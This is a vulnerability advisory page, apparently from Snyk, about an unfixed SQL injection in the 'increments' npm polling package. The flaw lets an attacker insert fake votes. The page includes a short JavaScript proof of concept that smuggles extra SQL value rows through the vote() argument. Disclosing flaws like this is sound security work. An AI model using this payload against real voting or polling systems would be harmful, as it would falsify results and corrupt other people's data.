SQL Injection Affecting increments package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
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Test your applications- Snyk ID SNYK-JS-INCREMENTS-544024
- published 3 Feb 2020
- disclosed 2 Feb 2020
- credit verichains
How to fix?
There is no fixed version for increments.
Overview
increments is a database-driven for creating polls and taking votes for various options, candidates, or parties.
Affected versions of this package are vulnerable to SQL Injection. Does not escape voting data allowing attacker to create fake votes.
PoC
const increments = require('increments');
increments.setup('mysql://root:@localhost:3306/test');
increments.poll('fruits', [{name:'Apples'},{name:'Bananas'},{name:'Oranges'},{name:'Pears'}]);
increments.vote('fruits', 'Oranges","0","0","1","0","0","0","0","","0")'+',(123,"Oranges","0","0","1","0","0","0","0","","0")'.repeat(10)+'#');
increments.statistics('fruits', function(e, f) {
console.log( f.projectedWinner );
process.exit(0);
});
References
CVSS Scores
version 3.1